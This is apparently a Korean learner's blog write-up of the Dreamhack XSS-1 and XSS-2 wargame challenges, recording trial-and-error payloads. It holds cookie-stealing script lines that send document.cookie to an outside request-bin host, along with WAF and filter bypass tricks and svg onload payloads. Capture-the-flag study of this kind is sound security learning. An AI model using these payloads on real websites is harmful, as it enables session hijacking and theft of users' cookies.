https://dreamhack.io/wargame/challenges/28/
XSS 취약점! URL을 확인하는 봇이 구현된 서비스! 해킹 시작!
사이트가 깔끔하게 나온다.
먼저 flag 를 눌러보자
1이라고 적어보자 good 이 나온다. 뭘 적어도 같다.
제출 할 때마다 memo 페이지에 hello라는 글이 생긴다.
<script>alert(1);</script>도 적어보고
"><script>alert('xss');</script> 적어봤지만 따로 뜨진 않는다. 필터링에 걸리는 듯??
[최근 잘 방어된 사이트의 경우 거의 대부분의 HTML Tag와 Attribute가 필터링 목록에 들어가있습니다.
이런 경우엔 DOM XSS 라 불리우는 ?param="><script>alert('xss');</script> 와 같이 HTML Tag를 직접 삽입해야 하는 XSS는 대부분 필터링에 걸려 실행되지 않습니다.]
바로 구글링 '자바스크립트 코드를 트리거하는 방법' 잘 안되서 다시 검색!
'xss 트리거코드' 라고 검색하니 뭔가 좀 나오는 것 같다.
음 코드를 살펴보다가 다시 처음으로 돌아가서
vuln(xss) page 를 누르니 뒤에 유알엘이 vuln?param=<script>alert(1)</script> 라고 써있다!?
/vuln?param=<script>alert(%27xss%27)</script> 여기서는 얼럿창이 뜬다!
구글링을 더 해보니 특수문자를 우회하는 것도 나온다.
<script>alert(document.cookie="flag=FLAG.strip()");</script> 다시 입력해보자.
음... 안나온다!
아...............
/memo?memo=+document.cookie;
메모에 가서 입력해 보았으나 그냥 뒤 글자만 뜬다~
강의를 다시 확인해봐야겠다.
(확인후.....아...)
멍청했다;
쿠키값을 메모로 보내줬어야 했다!
<script>location.href = "/memo?memo=" + document.cookie;</script>
<script>location.href = "https://ghzurom.request.dreamhack.games/?memo=" + document.cookie;</script>
만약 메모가 없다면 드림핵툴즈 웹서버에서 받아볼 수 있다.
Request Bin 에서 링크 생성하고 로케이션 href로 메모 도큐멘트 쿠키를 보내면 짠 하고 나온다. QueryString 에!
https://tools.dreamhack.games/main
첫번째 문제 끝~!
이제 XSS-2 로...
<script>location.href = "https://ssvhskn.request.dreamhack.games/?memo=" + document.cookie;</script>
<script>location.href = "/memo?memo=" + document.cookie;</script>
XSS-1 이랑 똑같이 입력해봤으나 아무것도 뜨지않는다...
hello 가 나를 반길뿐; ㅎㅎ
xss-1
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
xss-2
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
코드를 보니 입력한 취약점이었던 vuln인자를 가져오는 부분이 사라졌다.
그 외에는 다 똑같다.
구글링 들어간다. 'xss 방화벽 우회'
WAF Bypass Tips
. 을 필터링 할 시
document.cookie => document['cookie']
(" ")를 필터링 할 시
eval("alert(1)") => eval[alert(1)]
;나 +를 필터링 할 시
'abc'-alert(1)-'def' => 함수 실행 후 정상 문자열을 대입하여야 할 때 => 'abc'-alert(1)^1&&'normal_string_here'
종합해보면
'abc'-eval[alert(document['cookie'])]^1&&'normal_string_here'
document.location.href 의 문자열에 대입해보면
document.location.href = 'abcdef?param1=haha'-eval[alert(document['cookie'])]^1&&'https://ar9ang3.com/';
우회 및 XSS 트리거 코드 1 (Reflected XSS)
문자열 - Native Function - 문자열 을 수행할 시 문자열의 결과를 연산하는 과정에서 Native Function이 실행되게 됩니다. 때문에 document.location="abc"-alert(document.cookie)-"def"; 와 같은 구문이 있을 시 document.location의 결과와는 상관 없이 alert(document.cookie) 구문이 실행되게 됩니다
<script>location.href = "/memo?memo=" + document.location="abc"-document.cookie-"def";</script>
abc'-"/memo?memo="+document.cookie)-'def
얼럿도 해봤으나 hello가 나를 반긴다;
다시 구글링 들어간다. 'xss 우회'
필터링의 경우
1. 특수문자 치환법
특수 문자 전체의 사용이 불필요하여 입력값을 HTML 치환하여 받는 경우 아래와 같이 치환하여 사용한다.
: 공백
< <
> >
& &
" “
# #
' '
2. 소거법
스크립트를 발생시키는 구문의 일부를 소거시키는 방법으로 우선 어떤 문자열을 어디까지 소거시키는지를 파악해야 한다. 파악한 이후라면 소거가 되는 부분을 예상하고 XSS구문을 작성한다.
예를 들어 script라는 문자열이 소거가 된다고 가정해보자.
입력 : <script>alert('1')</script>
출력 : alert('1')라고 가정할 수 있다.
정확히 script만 소거하는지 <script를 소거하는지 script>를 소거하는지 등을 파악하고
<script>라는 문자열만 소거된다고 생각이 된다면 우회하기 위해서
입력 : <scr<script>ipt>alert('1')</script>
출력 : <script> alert('1')</script>라고 출력되어 XSS가 발생한다.
소거법에 의해서 필터링되었을 경우
어떤 부분을 어떻게 소거되는지 파악하고 이를 이용하여 우회하는 방법을 구상하는 것이 빠르다.
공백
이벤트 핸들러의 경우 발생하기 위하여 공백이 필요한데 이 공백이 필터링되어 있다면""를 사용하여 우회 가능하다.
"'><svg/whatthe=""onload=alert(45)>
/ 우회
/의 가 필터링되어 있다면 ;를 사용하여 우회가 가능하다.
"><svg/;onload="alert(45)"onload=alert(45)>">
URL 입력 필터링
document.location.href="http://www.test.com";
과 같은 구문을 발생시키려 하는데 "이 필터링 되어 사용이 불가능하다면
document.location.href=/http:\/\/www.test.com/;
로 우회가 가능하다. 이는 javascript 정규식 구문을 사용하기 때문에 가능하다.
svg/onload xss 구글링!
"><svg/onload="memo="+document.cookie;>" 입력 무반응.
<svg/onload=location.href = "/memo?memo=" + document.cookie;>
<svg/onload="/memo?memo=" + document.cookie;>
다 무반응;
뭐지
<svg/onload=alert('test')>
근데 flag 에서는 안먹힌다;
<svg/onload=alert(document.cookie)>
<svg/onload="/memo?memo=" +document.cookie;>
시간이;; 내일 수업을 위해 일단 오늘은 여기까지
'정보 보안 해킹 공부 > SQL 인젝션' 카테고리의 다른 글
SQL INJECTION BYPASS WAF (0) | 2022.07.01 |
---|---|
SQL injection 기본 종류 (0) | 2022.04.15 |
[SQL 인젝션] Union, Logic (0) | 2022.02.21 |
[SQL 인젝션] LORD OF SQLINJECTION - cobolt 풀이 (0) | 2022.02.20 |
[SQL 인젝션] LORD OF SQLINJECTION - gremlin 풀이 (0) | 2022.02.20 |
댓글